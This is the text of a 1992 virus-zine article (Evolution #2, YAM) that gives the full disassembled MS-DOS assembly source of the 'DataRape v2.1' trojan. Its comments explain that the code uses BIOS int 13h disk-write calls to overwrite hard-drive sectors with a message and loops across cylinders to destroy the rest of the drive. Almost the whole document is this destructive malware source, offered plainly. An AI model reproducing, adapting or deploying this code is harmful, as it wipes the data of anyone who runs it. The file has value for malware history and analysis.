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MSDOS/Virus.MSDOS.Unknown.daterape.asm

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+ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
+
+Article Title: Data Rape v2.1 Trojan
+Author: Admiral Bailey
+
+
+;=---
+;
+; DataRape 2.1 Trojan
+;
+; Disassembled By Admiral Bailey [YAM '92]
+; June 25, 1992
+;
+; The writers of this virus are Zodiac and Data Disruptor
+;
+; Notes:Just a regular trojan.  This one puts the messege into the
+;       sector it writes.  Even though its not advanced it gets the
+;       job done.
+;
+;=---------
+seg_a           segment byte public
+                assume  cs:seg_a, ds:seg_a
+                org     100h
+
+datarap2  proc    far
+start:
+                jmp     begin
+messege         db      '----------------------------',0Dh,0ah
+                db      '         DataRape v2.1      ',0dh,0ah
+                db      '    Written by Zodiac and   ',0dh,0ah
+                db      '        Data Disruptor      ',0dh,0ah
+copyright       db      '(c) 1991 RABID International',0dh,0ah
+                db      '----------------------------',0dh,0ah
+
+sector          db      1
+data_3          db      0
+
+begin:
+                mov     ah,0Bh                  ; write sectors
+                mov     al,45h                  ; sectors to write to
+                mov     bx,offset messege       ; writes this messege
+                mov     ch,0                    ; clear out these
+                mov     cl,0
+                mov     dh,0
+                mov     dl,80h                  ; drive
+                int     13h
+
+                jnc     write_loop              ; nomatter what jump to
+                jc      write_loop              ; the write loop and
+                jmp     short write_loop        ; destroy rest of drive
+                nop
+compare:
+                mov     sector,1                ; start writing at sec1
+                inc     data_3
+                jmp     short loc_4
+                db      90h
+write_loop:
+                cmp     data_3,28h
+                jae     quit
+                cmp     sector,9
+                ja      compare
+loc_4:
+                mov     ah,3                    ; write sec's from mem
+                mov     al,9                    ; #
+                mov     bx,offset messege       ; this is in mem
+                mov     ch,data_3               ; cylinder
+                mov     cl,sector               ; sector
+                mov     dh,0                    ; drive head
+                mov     dl,2                    ; drive
+                int     13h
+
+                inc     sector                  ; move up a sector
+                jmp     short write_loop
+                db       73h, 02h, 72h, 00h
+quit:
+                mov     ax,4C00h
+                int     21h                     ; now quit
+
+datarap2  endp
+
+seg_a           ends
+
+                end     start
+
+